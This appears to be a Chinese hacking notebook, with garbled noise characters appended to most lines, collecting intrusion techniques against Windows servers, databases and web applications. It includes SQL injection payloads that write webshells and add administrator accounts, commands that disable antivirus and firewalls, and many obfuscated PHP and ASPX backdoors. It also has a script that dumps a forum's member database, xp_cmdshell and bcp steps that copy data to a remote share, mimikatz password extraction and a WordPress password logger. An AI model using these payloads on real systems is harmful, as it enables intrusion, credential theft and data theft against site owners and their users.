查询sql server 2005中的密码hash2 W$ E6 u. O* e
SELECT password_hash FROM sys.sql_logins where name='sa': W7 w( \* }7 v, l7 J
SELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a& g/ N/ u0 F5 \6 D8 B$ r+ U
access中导出shell7 D6 O8 n' s) L( \
) F" k9 n0 b) S" I( M4 D& l
中文版本操作系统中针对mysql添加用户完整代码:
5 Y1 l; ^; V0 b( S
8 P2 N; Z9 Z8 l; c; W, Fuse test;
2 @6 V; f5 Z$ ?, gcreate table a (cmd text);
3 }' Q$ B) E& j. qinsert into a values ("set wshshell=createobject (""wscript.shell"") " );
3 Q3 t, u( Y! P" s- v8 Ginsert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );$ z( Z0 b2 }% l: D9 y% o
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );
( f6 G0 ]* o- D- vselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";6 |) m# f5 B) J; ?7 Y* p2 o
drop table a;
. l& @0 M8 c) g7 j' v' E% n: o" R- p/ t5 c
英文版本:
  K3 r" I0 \1 F2 N/ [( m4 \$ l% B# L) A& h; F! V3 A; N. y0 B! U
use test;1 x: v) J9 y8 {% _9 B- Y  I+ t! W
create table a (cmd text);
4 P6 D! Z* J1 ?& K8 n& Yinsert into a values ("set wshshell=createobject (""wscript.shell"") " );
0 Z/ i4 a+ i% H. F" e. U. ginsert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );
3 c- g/ M7 g) x! w# Iinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );
9 `8 A* }: Y# n: a( oselect * from a into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\a.vbs";% u3 [- \6 M/ X) {1 o
drop table a;  _6 }; t) K. W/ @

" J$ M  o- ]# g; G! V8 d7 b! tcreate table a (cmd BLOB);
  q) c: W; ~$ _; V3 \) Sinsert into a values (CONVERT(木马的16进制代码,CHAR));  W! F8 S6 x5 a
select * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\mm.exe'
: q8 V  u- c1 S4 e* d! R' _- udrop table a;6 {4 K. d: v' }" u' Y
: M# E4 A- N, U4 w% D# [
记录一下怎么处理变态诺顿1 M, d+ G9 C$ B$ `! u! F
查看诺顿服务的路径
8 `# h! j7 [9 G+ ]! ]1 osc qc ccSetMgr1 v5 w- T4 _1 K- f& `! h
然后设置权限拒绝访问。做绝一点。。0 D  B8 d! B6 m: s# A
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d system
0 H7 J* }& T6 ~- Q8 C1 z1 \* B. [cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d "CREATOR OWNER"
' ^6 @, P7 c* L& X; ycacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d administrators* R0 v, }' `# P- r$ v7 u
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d everyone
1 k# V7 f; }# N7 i, q
- U" Z( A& x" Z然后再重启服务器' t) a5 ]$ a7 ^7 N8 ^* K/ j7 {
iisreset /reboot
1 V4 b- w" o0 R3 }$ k& R; c这样就搞定了。。不过完事后。记得恢复权限。。。。
; g1 {# W7 H0 y0 V4 U" `4 wcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G system:F
8 H- b# i& U& `cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G "CREATOR OWNER":F
0 Z8 E* R" S6 V4 G  X5 dcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G administrators:F
: s8 w7 Z1 m/ |% b; ncacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G everyone:F
  N  g4 @% N: w: T+ BSELECT '<%eval(request(chr(35)))%>' into [fuck]  in 'E:\asp.asp;fuck.xls' 'EXCEL 4.0;' from admin
( N; W7 \3 c+ l2 ^6 c% x/ r. J! a
EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell ''net user''')
- U8 V0 a. H, \1 M& Y, u) @, X
6 ]. O" y% o) B: xpostgresql注射的一些东西* C' U, e3 [" e0 o" ?# ~
如何获得webshell& p  K. {& i) F/ L* T: @
http://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null);
2 s; m$ C) ^% r1 N4 s- z8 J# z" Zhttp://127.0.0.1/postgresql.php?id=1;insert into fuck values($$<?php eval($_POST[cmd]);?>$$);
/ u! W5 {' s- P' K: Fhttp://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$;
$ \! c5 ~) V% U" c' q+ o3 c如何读文件
* `6 j$ p1 L' Jhttp://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT);
8 _' U/ b8 Q. e: U8 I# {http://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’;- _) B: n1 M. K- w4 ?0 _7 S3 w
http://127.0.0.1/postgresql.php?id=1;select * from myfile;/ I, g+ X( ]2 J9 C) L2 p; o
. E: Q7 W: f8 y
z执行命令有两种方式,一种是需要自定义的lic函数支持,一种是用pl/python支持的。& T, z* `* @2 F5 ~1 ]! c+ A6 t. V
当然,这些的postgresql的数据库版本必须大于8.X
! g& G; }, Q/ d5 r. W2 w创建一个system的函数:
% P& l5 \: l1 fCREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT
" Z. _- }) z9 ], `' K$ Z2 j0 c3 u; r" M4 e# k3 j" H0 ~: p
创建一个输出表:2 O% _  z; I" A# a7 }/ v
CREATE TABLE stdout(id serial, system_out text)
3 z( \8 G, n+ E! p
- `4 G) C9 G$ @% V* R执行shell,输出到输出表内:7 N% ~  A9 s5 L! K5 j" c" ]
SELECT system('uname -a > /tmp/test'), j0 S' ?# \7 ~# {9 _8 p
9 O, Y1 K4 e( [, e/ D6 ]% _3 p
copy 输出的内容到表里面;
% I( w( \/ O" V4 ^' {4 xCOPY stdout(system_out) FROM '/tmp/test'
3 L( O6 ^% D0 o+ `& h- R+ r( z4 _; C( W
从输出表内读取执行后的回显,判断是否执行成功
, I5 q+ G1 o7 {% y- R- Z5 B' B7 I+ x
SELECT system_out FROM stdout3 f8 E6 ]% o( F3 s0 L* U- I% b
下面是测试例子
4 ~2 Q1 T5 g) a% `4 P: A3 d
+ s6 S3 {3 r- [* `! }, |1 h$ S5 ]/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --
! A3 s8 F/ j2 {) z, s# z* b* q6 W3 b* e' v9 o' I3 P
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
  {: k) ^! ~% A  x3 j4 X) {0 [9 vSTRICT --
& X7 u  v3 Q5 x! @6 G. P) n. t# g* Q) y+ U( G" S: M! c# t, S
/store.php?id=1; SELECT system('uname -a > /tmp/test') --0 L& e1 c, D4 T- \0 ^

% Y4 w$ T3 P* j/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --
% n' R/ O: A+ _# f9 B1 @$ z- j
" l/ F$ O/ {6 l, l& ~7 N/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
) G  M/ I  E0 ~& hnet stop sharedaccess    stop the default firewall
  |' ~+ ]6 b& W0 m5 ]2 x4 v- \netsh firewall show      show/config default firewall
; L9 ^5 C( ?$ s$ A0 o4 m: C- tnetsh firewall set notifications disable   disable the notify when the program is disabled by the default firewall
' b+ u3 o+ M; m  t+ L4 L4 nnetsh firewall add allowedprogram c:\1.exe Svchost     add the program which is allowed by default firewall
1 z; Z* ^: @; D3 q修改3389端口方法(修改后不易被扫出)
! l+ ?: ]: H$ B  Q' x  D; I. b修改服务器端的端口设置,注册表有2个地方需要修改( i  Y( }4 u3 p, m* ~3 u$ S
) r6 E. e8 y4 |6 i6 ^* \( z
[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Wds\\rdpwd\\Tds\\tcp]( L( R, C8 ?' N
PortNumber值,默认是3389,修改成所希望的端口,比如60009 ~4 X) H' c4 C" ?& P. ]: J
/ w- R: f* ]4 X3 q/ F
第二个地方:3 Z* n8 K6 ?+ V' R
[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp] 5 c" Z: J  z' F/ p; V3 A( s$ h1 w
PortNumber值,默认是3389,修改成所希望的端口,比如6000
1 R0 d$ P; }4 j. }0 q
7 G1 l: j  n! G) g2 Z  j4 g现在这样就可以了。重启系统就可以了
" q( \/ V: x" b9 F6 t, P! a& r8 I# p9 B
查看3389远程登录的脚本
" e+ G8 O' h2 l- u4 E4 L& [  @* O( |保存为一个bat文件
! J2 V, {0 F( r$ M, edate /t >>D:\sec\TSlog\ts.log
# b& Q3 L. z) n, Otime /t >>D:\sec\TSlog\ts.log
0 [9 [" t7 Z3 b0 Onetstat -n -p tcp | find ":3389">>D:\sec\TSlog\ts.log4 J' P( ^9 G9 Y4 m. l* `4 h5 a
start Explorer
  O! z$ j' b( o. b' E  |! V3 p9 G
mstsc的参数:
5 {) N( Z0 ], L% k& |$ w1 q0 a7 t& W& g" c6 g, [9 d, P
远程桌面连接
8 w  [( K3 Z" b/ F' L1 A# r
1 Z  n" [, Q) P# P. ~+ N4 aMSTSC      [<Connection File>] [/v:<server[:port]>] [/console] [/f[ullscreen]]
9 }* Q: z+ A+ N8 J& U, V0 q  V; `  [/w:<width> /h:<height>] | /Edit"ConnectionFile" | /Migrate | /?
# @0 z0 s9 n) b' p* c6 B
1 ?7 e6 v4 v& S/ ]8 ~# U<Connection File> -- 指定连接的 .rdp 文件的名称。# X  F( f1 u0 y% R! d

, P+ ~3 `; k( ~6 D  Z/ e/v:<server[:port]> -- 指定要连接到的终端服务器。
/ U& O  a& H& d) [/ _& v- E
' Y2 s  G4 t2 ~/ ~/console -- 连接到服务器的控制台会话。9 c8 e! r. j. D

& Y$ i  y4 C3 ]1 B/f -- 以全屏模式启动客户端。
: p) o# o! Y1 q5 C; i+ V, |1 N$ e, A/ V- x: k
/w:<width> --  指定远程桌面屏幕的宽度。8 q* d6 A8 Y- N6 w9 B. i5 h

/ {: B4 C" i' X/h:<height> -- 指定远程桌面屏幕的高度。1 l0 K, U* F& q9 L- a9 q" D: P! f
% K) \+ t8 r5 c. B
/edit -- 打开指定的 .rdp 文件来编辑。
: ~, t: {+ \2 ^5 v) s1 _+ q6 F
( y5 }. w  W2 y5 b0 ~8 @/migrate -- 将客户端连接管理器创建的旧版
( }: L, f, v. Q0 z1 b6 u2 c连接文件迁移到新的 .rdp 连接文件。
) Y1 Q" m  M- p8 \3 @. t$ g, \% ^4 j, v, J. _2 t! P$ f5 F5 x- l

+ T  N. e8 n' e5 k, _其中mstsc /console连接的是session 0,而mstsc是另外打开一个虚拟的session,这样的话就是相当与另外登陆计算机。也就是说带console参数连接的是显示器显示的桌面。大家可以试试啊,有的时候用得着的,特别是一些软件就5 G) j* K+ f) o8 M/ A* ?
mstsc /console /v:124.42.126.xxx 突破终端访问限制数量
' X- f% H$ [. V( _0 Q; }' N6 W9 _# w
- V$ c2 H% a2 p! B7 v/ P命令行下开启3389* q4 {" `* A& S( O
net user asp.net aspnet /add8 V1 O" [* ^3 m# w; C1 ~" _
net localgroup Administrators asp.net /add
" w3 }: G5 ~2 d) J$ [9 q+ |net localgroup "Remote Desktop Users" asp.net /add
9 ^, D4 \" e! |& v4 L: |attrib +h "%SYSTEMDRIVE%\Documents and Settings\asp.net" /S /D
4 c% Z4 x1 f( }! x% F$ C. \echo Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d 0
( M. ]& N+ o# T+ C! j; pecho Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v AllowTSConnections /t reg_dword /d 1
  Q0 k! T; m  ^1 I! Wecho Y | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "asp.net" /t REG_DWORD /d 00000000 /f1 \5 K# }( e% Z( e( h
sc config rasman start= auto
& A# ^7 T/ J) ~- \- F: _sc config remoteaccess start= auto
5 Z- G9 a+ p+ K$ t/ W( }5 s* h! Anet start rasman
6 b3 L. A' P; N  G& Z3 f" R5 J& unet start remoteaccess
6 m# g7 ^% c0 l! p# |Media9 A# @% ]4 R  A7 K' Q
<form id="frmUpload" enctype="multipart/form-data"
4 I5 M, F* A3 E  M+ s2 _action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>5 k; I) C5 s& o: y1 r* T
<input type="file" name="NewFile" size="50"><br>
4 O1 s+ |' a" u- b<input id="btnUpload" type="submit" value="Upload">- Q/ G# Q  y- Q4 x9 ~
</form>
# M7 T. ]/ }9 e7 v% E5 y' F! c, ^" K+ N- x  }
control userpasswords2 查看用户的密码
4 c5 X6 j) g; e4 i# u: N' yaccess数据库直接导出为shell,前提a表在access中存在。知道网站的真实路径9 e" C( ~: |9 y1 F" ]/ X1 ]4 E
SELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a+ {$ n7 @# x" M+ G6 [# @4 v# H
( A% H+ g# c  p: o0 S
141、平时手工MSSQL注入的时候如果不能反弹写入,那么大多数都是把记录一条一条读出来,这样太累了,这里给出1条语句能读出所有数据:) o) H- ?4 _4 |$ U3 f! I
测试1:  K3 y$ P% u" t& H$ O" J" j1 y
SELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t  where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t18 H$ ^7 b. O' l  K- V( F
2 O% H8 `# b: `4 u$ H6 G7 t7 v
测试2:  O5 b/ u& ]4 R1 Z7 V( o, r
" d& |) \- C9 I# I9 _% O4 a
create table dirs(paths varchar(100),paths1 varchar(100), id int)' O* B) U7 T0 I+ ~$ W
5 x! J6 s" N1 ?& v
delete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--. t7 O' z" m# ?
) r" R0 [; k1 d+ Q* M/ w
SELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1
6 }8 c  T' m# D* r" Q" b. v6 g2 y关闭macfee软件的方法://需要system权限,请使用at或psexec –s cmd.exe命令
/ C5 l, h$ Z% B7 `% }可以上传.com类型的文件,如nc.com来绕过macfee可执行限制;
0 X8 U! _" D7 l* ~, @net stop mcafeeframework
$ S8 G. U" g# r( L% i+ g1 Q; I. I5 f* Cnet stop mcshield
) r8 K; f( ?& j: \3 C5 hnet stop mcafeeengineservice: ]# C3 d8 ?5 S* H1 {7 [. R0 a
net stop mctaskmanager( F$ k5 |& F0 N% P" b
http://www.antian365.com/forum.p ... DU5Nzl8NDY5Mw%3D%3D* l$ d" I0 r5 c7 b' _
) x, V$ g: O' K1 k( Q9 T
  VNCDump.zip (4.76 KB, 下载次数: 1) 3 }2 e% K( }& q2 e
密码在线破解http://tools88.com/safe/vnc.php
/ H* j( c* C. o9 W/ e. E6 `8 \VNC密码可以通过vncdump 直接获取,通过dos查询[HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4] 下的Password也可以获取
' k0 i8 M3 H8 z0 c' Z! n. M: p0 P+ u) a+ X' j- r' |  W, X
exec master..xp_cmdshell 'net user'
7 c& s! I8 e+ Z. R. Fmssql执行命令。
8 q4 Q( Z! b! F2 L% M; O" x4 j获取mssql的密码hash查询' H' l" L5 ?5 x- c" I+ u( _- `4 Q
select name,password from master.dbo.sysxlogins
- S& a. X4 H' t- C& n5 S+ B/ [1 t
  k* L) N; s2 T" Z: @6 B/ K/ Ibackup log dbName with NO_LOG;3 [+ U. l; E0 l1 ~+ j% \# f) G
backup log dbName with TRUNCATE_ONLY;3 V0 U6 J, T0 w6 R3 ]
DBCC SHRINKDATABASE(dbName);/ J$ a- h8 E' Q. @: u0 D8 V  s
mssql数据库压缩
; _% `% H* B9 `7 P6 A: @" F4 C  o. \+ ^$ v) f  j
Rar.exe a -ep1 -m0 -v200m E:\web\1.rar E:\webbackup\game_db_201107170400.BAK+ e" i* w! l- M. m' h& f* _
将game_db_201107170400.BAK文件压缩为1.rar,大小为200M的分卷文件。
4 W: U# I- s  _1 f, |6 ~5 r# c$ S: U6 y) [, r
backup database game to disk='D:\WebSites\game.com\UpFileList\game.bak'9 d5 C* I% m9 y
备份game数据库为game.bak,路径为D:\WebSites\game.com\UpFileList\game.bak' {  Z7 E" z4 Q( r
4 X5 e/ L2 w) [: M# m6 H
Discuz!nt35渗透要点:
: Z( w- Q- Z' j1 }, [& V. i(1)访问 网站地址/admin/global/global_templatesedit.aspx?path=../tools/&filename=rss.aspx&templateid=1&templatename=Default
5 D+ A( u7 u! T6 L(2)打开rss.aspx文件,将<%@ Page Inherits="Discuz.Web.UI.RssPage" %>复制到本地备份,然后替换其为<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>' @" C/ b; X+ f
(3)保存。
, Y# V- ~. R  }2 r, B(4)一句话后门地址http://somesite.com.cn/tools/rss.aspx 密码为pass/ K+ a' P, |8 B8 F6 A/ G
d:\rar.exe a -r d:\1.rar d:\website\
: d" X' u# G- y- {5 `4 N; z递归压缩website
, ?8 ]! F+ Z- D7 D$ W+ c! L注意rar.exe的路径2 }  D( ?) n4 a. k4 i  Y
4 \, b1 I4 |3 ?' n4 W
<?php9 c' v+ u% M' r0 Q, t9 ^; f$ Z
4 C$ Q* q3 z3 o; ]8 B  U1 J4 M, Z
$telok   = "0${@eval($_POST[xxoo])}";& S- o1 X. d/ S" m

" {8 T' D' i0 o3 P( U% \* J9 ]$username   = "123456";4 F9 `& a* Z/ T) M8 h

+ r% @. |( A4 g" Y/ h# {: B3 P$userpwd   = "123456";  M. s: O1 o$ c% y, C
$ w+ j: d" d  h) a7 X& N
$telhao   = "123456";
% R9 ^+ J. e( C, ^! F# D
4 n* @! M2 ~/ {) ^  N) ~! l# D# Q$telinfo   = "123456";8 _3 ~( Q( f3 z- E0 ~; l
; ^* d1 s  e7 n
?>
, s' n' @) f; T/ y1 K% wphp一句话未过滤插入一句话木马
" E1 s& f4 K2 u) T' R/ Y$ M$ s. c4 C5 R* R  J8 w
站库分离脱裤技巧
9 h/ U0 Q& \% {3 M3 @! texec master..xp_cmdshell 'net use \\xx.xx.xx.xx\d$\test "pass" /user:"user"'
* ~; h, l' u1 n6 Y# I* A* L) rexec master..xp_cmdshell 'bcp test.dbo.test out \\xx.xx.xx.xx\d$\test\1.txt -c -Slocalhost -Uuser -Ppass'1 [; D5 O: o9 E! g
条件限制写不了大马,只有一个一句话,其实要实现什么完全够了,只是很不直观方便啊,比如tuo库。
1 u: J1 U  V* `) K0 T8 W这儿利用的是马儿的专家模式(自己写代码)。
( K$ X; w' O: D/ f$ Cini_set('display_errors', 1);
& p: D/ K5 n- z7 H1 yset_time_limit(0);$ r. `1 J' a! |# t
error_reporting(E_ALL);
% H- D. _5 w7 e! z$connx = mysql_connect(":/var/tmp/mysql.sock", "forum", "xx!!xx3") or die("Could not connect: " . mysql_error());/ {1 h9 Q, v6 D3 d+ s" M( I% y- r
mysql_select_db("discuz",$connx) or die("Could not connect: " . mysql_error());: L+ M* y1 h0 H2 Z% m
$result = mysql_query("Select * FROM members",$connx) or die("Could not connect: " . mysql_error());1 w; B& l  c$ _9 w$ a, J
$i = 0;
: E8 W% x! W) Z, t& B% k$ h3 x$tmp = '';
* h% @5 J+ s/ ~0 K$ [2 ]' xwhile ($row = mysql_fetch_array($result, MYSQL_NUM)) {
1 K6 X6 H2 J! Y' k6 M    $i = $i+1;( p7 s' e  s; a
    $tmp .=  implode("::", $row)."\n";
. E: e3 }0 U9 C0 N/ u    if(!($i%500)){//500条写入一个文件4 x$ @" L# ]4 I
        $filename = '/home/httpd/bbs.xxxxx/forumdata/cache/user'.intval($i/500).'.txt';
2 `. T4 j9 S4 l. W' F        file_put_contents($filename,$tmp);
6 r7 D/ G4 ~2 m( q        $tmp = '';
6 J1 @! s, o- U/ Q: X    }
9 q5 L# f" P6 j$ \2 C5 p/ U}9 c: F; v$ l" C! O
mysql_free_result($result);
% _# Z' Z7 L7 X0 H! a. R: z8 M" [( e5 J1 ?, e) T4 s
& [; I( `; B; U
, [" t5 {9 K: w" q2 f& p7 N8 N
//down完后delete) S0 P3 I" r5 p( d& n" C

# ^. _' p! L# {2 |9 j" D& d+ q
7 T  ~1 U/ r/ w) G+ h: zini_set('display_errors', 1);
4 g6 P/ B* D% F" F# ?error_reporting(E_ALL);
7 N# \0 V7 \  A: U4 x+ r$i = 0;
3 Q( e6 M: z  R6 d! m- V& n3 Fwhile($i<32) {+ a% A! e2 |2 d. ?0 N
    $i = $i+1;& n: V, C. _. d5 l  z  C
        $filename = '/home/httpd/bbs.xxxx/forumdata/cache/user'.$i.'.txt';
9 j6 T* b! R+ Y7 F) G& y        unlink($filename);
2 l( e; P5 x! y3 a}
* z! O: _! S0 q- Y& hhttprint 收集操作系统指纹
2 Q3 U4 G$ N& _$ \扫描192.168.1.100的所有端口
. w, P; S2 Y3 Z# f2 inmap –PN –sT –sV –p0-65535 192.168.1.100; |6 k+ G5 q6 ~
host -t ns www.owasp.org 识别的名称服务器,获取dns信息
# c$ X% n( V. bhost -l www.owasp.org ns1.secure.net 可以尝试请求用于owasp.org的区域传输
( b+ K9 j5 d' g# m4 N# nNetcraft的DNS搜索服务,地址http://searchdns.netcraft.com/?host$ [4 o9 ?( \9 N( U; x8 x5 @
3 u% n9 ^7 M: Y) j
Domain tools reverse IP: http://www.domaintools.com/reverse-ip/ (需要免费注册)) N; U/ }& |! e' ]) P3 |
* c& ?( E8 H5 C' m
  MSN search: http://search.msn.com 语法: "ip:x.x.x.x" (没有引号)
1 p. u% f4 T5 r: W4 {* p% n
% i# K9 e( j( d/ `( m  Webhosting info: http://whois.webhosting.info/ 语法: http://whois.webhosting.info/x.x.x.x
: r: y  j7 C9 l8 q
' M* s/ n) }% X$ ]  DNSstuff: http://www.dnsstuff.com/ (有多种服务可用)- `) R, w9 K8 P; Q1 [& n# I; ^

0 C# v' N( d7 G3 H- b6 f  http://net-square.com/msnpawn/index.shtml (要求安装)' h5 Z2 B4 B. E+ n7 G- W
8 d, ~) Q% w# j/ g, j
  tomDNS: http://www.tomdns.net/ (一些服务仍然是非公开的)
# H9 Z3 i; z& ^  m% U" O/ E; C& B3 ^, n% S6 R* Y+ H; V) l* P
  SEOlogs.com: http://www.seologs.com/ip-domains.html (反向IP/域名查找)& D/ Z% r& W. @. X! c
set names gb2312) t9 b3 M  Q4 r6 y( ?1 ]
导入数据库显示“Data too long for column 'username' at row 1”错误。原因是不支持中文。
  U0 s- v/ W- y. {5 s- }, s& L1 G$ q5 O. ]/ f4 K% t
mysql 密码修改0 I5 Q5 U* h2 O* F- C+ b3 P. Z* K
UPDATE mysql.user SET password=PASSWORD("newpass")  whereuser="mysqladmin ”
/ {+ X. U; E9 p: A/ ~) P1 ?update user set password=PASSWORD('antian365.com') where user='root';
; t9 z" @3 q' ?, rflush privileges;9 f/ i! y6 c  C) p- ?7 _* V
高级的PHP一句话木马后门; }/ s% n9 X$ z6 h; ~
1 {9 V0 d  b( x8 F9 q
入侵过程发现很多高级的PHP一句话木马。记录下来,以后可以根据关键字查杀: i7 A4 R; Y- P+ R
$ @# f  S- i2 }3 E
1、0 Z2 z% j: H( y+ M0 p* J
* i9 R& @3 g& [$ a9 }
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
7 h8 T3 L. F. ^; I1 ~, ^% \' l* X  ~; S3 S% R; d* _  ?0 z" o
$hh("/[discuz]/e",$_POST['h'],"Access");3 k6 z8 H7 |2 ^8 e2 M- V  ?4 x  `
  e5 v) r' \1 |* C+ A; B
//菜刀一句话+ y$ i% d6 ]3 }4 R1 {: w( c" P  S

- u7 Q4 G+ b2 `* }2、
* k- O5 }& N5 K# `. ^& c5 b# z& N# P% i  i
; B* C5 M# E! W$filename=$_GET['xbid'];
9 K7 S4 S4 M1 Z8 d) f6 H, |  |5 ]" a" r) ?4 ?" o/ f
include ($filename);
8 ^2 l$ g  V8 m5 c* f. r" ]' R
) _0 E6 l5 f( Z7 [2 ?: v; D//危险的include函数,直接编译任何文件为php格式运行  g- T6 K( k0 ~# @+ p8 t
, C. Y: D- ^( n1 q
3、# T% D# u/ p& {

5 s, b6 S. ?% @- E2 A: o! q$reg="c"."o"."p"."y";, f. \4 e2 Q5 y0 g% z% y; S/ B

" v- u8 E$ h9 U$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);2 h& I- j( o/ Y9 }: f1 e( w
' h- H0 @+ z: }5 j4 C0 m" w/ u
//重命名任何文件; i. V7 S% Y0 Q8 k* J

' r; F$ G- {; ^. s4、# A3 y' F* m5 n3 D

+ x  l4 R9 n* D  _' V$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";7 ~' H" I  I) i4 q* M/ d' f
3 Y& {, Y. {! P
$gzid("/[discuz]/e",$_POST['h'],"Access");
7 o. r8 F( x' ~; a8 C
! h1 l, ?2 I7 A//菜刀一句话
2 E! c+ h" k3 ?0 J9 ?6 ~9 N3 s, d4 h# s# k/ K
5、include ($uid);
6 b! }# u4 k% c8 }: b" A$ ?, p/ d3 X- U5 j* P2 p1 o- T" E
//危险的include函数,直接编译任何文件为php格式运行,POST
/ _2 ~3 C1 U% G- ~2 ^6 ]: u  I, d- Y8 \5 o) @
; ]- q/ z3 U* w4 `5 j3 t
//gif插一句话- q1 d0 V4 H3 f; u7 t( U8 d

; v, W* f6 ^* Y) M5 p6、典型一句话. ?5 {/ E# m+ {
, ^" d0 j( W* i" ^! x; K" v
程序后门代码8 ?' F" r: H( |* q/ {/ E3 H1 r0 x
<?php eval_r($_POST[sb])?>+ X" P+ J2 ~- }2 b! i% ?9 Y
程序代码
! m9 }7 c$ R! g) T, I$ Q6 r<?php @eval_r($_POST[sb])?>
4 Q: p9 ~. N1 _) R9 j( j( c//容错代码
- j" y. i7 f& M6 Y* S程序代码  c( B( j* O' q9 d2 ~
<?php assert($_POST[sb]);?>
) {$ F3 o7 ~' e7 S5 M5 U! i//使用lanker一句话客户端的专家模式执行相关的php语句* D& z: ^$ q" a9 G4 J5 N" m/ Y
程序代码; b; u- {2 w0 M0 W2 j! k/ L$ t
<?$_POST['sa']($_POST['sb']);?>
; c& v) y+ w9 E程序代码/ A9 b2 a) y. C& j
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
) W4 ]% p4 v! Z! Q( b# _! L  H9 W程序代码" V' s3 S1 ]4 h: n2 l
<?php  c2 c( X+ O1 p6 j8 D& F3 v
@preg_replace("/[email]/e",$_POST['h'],"error");, d3 _, i$ b4 J6 I2 S1 i0 ^
?>; v# y" F0 H  `3 x, c
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入: b  A7 R- Y7 r8 ?
程序代码
: c  s7 N) e9 _. z& W5 N* P<O>h=@eval_r($_POST[c]);</O>
: X. m. I4 S/ b/ ~$ l" L0 X" F+ f程序代码7 w( s2 @/ H" O
<script language="php">@eval_r($_POST[sb])</script>5 {+ `8 @6 k/ W: L( v
//绕过<?限制的一句话7 H+ n; _0 e2 Q' n
& Y& k. P  @. w" c4 y" K
http://blog.gentilkiwi.com/downloads/mimikatz_trunk.zip7 N1 D1 D5 @3 R4 D  b2 h
详细用法:4 {! Z2 ]7 C" k; p4 b# F$ Z, {
1、到tools目录。psexec \\127.0.0.1 cmd
1 r: F7 K6 r$ ]2、执行mimikatz
. J. L' c( w4 ~5 A! A  H8 P3、执行 privilege::debug: z7 v# @7 `! R* T
4、执行 inject::process lsass.exe sekurlsa.dll
8 I! ^0 k4 {* l% A! h* D2 b! j  b- h5、执行@getLogonPasswords
0 L, e* d$ Q" p* w# b7 j( i# i6、widget就是密码# g6 v) ]- X% L6 o: u' {" A0 v
7、exit退出,不要直接关闭否则系统会崩溃。
5 U4 h- d* `7 u0 e2 P
& F5 v6 Y6 c. p3 Y: Ghttp://www.monyer.com/demo/monyerjs/ js解码网站比较全面1 R) i; N; U" `! t" k
1 M. M% B% t' @0 ?0 y/ c, Q! S; b
自动查找系统高危补丁7 Y/ q; r' b, y) `0 v
systeminfo>a.txt&(for %i in (KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 kb942831 KB2503665 KB2592799) do @type a.txt|@find /i "%i"||@echo %i Not Installed!)&del /f /q /a a.txt
, c) Y" m9 {. v4 F, k# S: \0 A, c6 {
突破安全狗的一句话aspx后门6 X2 P( H4 D8 S6 i# x
<%@ Page Language="C#" ValidateRequest="false" %>
: T0 i3 t+ x6 @<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["你的密码"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>" |( }2 X; M  y* e: A- {! m% s% e
webshell下记录WordPress登陆密码
8 L5 S( C. C4 ~' owebshell下记录Wordpress登陆密码方便进一步社工$ U) `* B7 o4 A! C& c
在文件wp-login.php中539行处添加:
( c5 ^6 ?+ X9 u" N) K// log password
2 m1 h0 k! N1 L0 g& L; D, U( u# B$log_user=$_POST['log'];
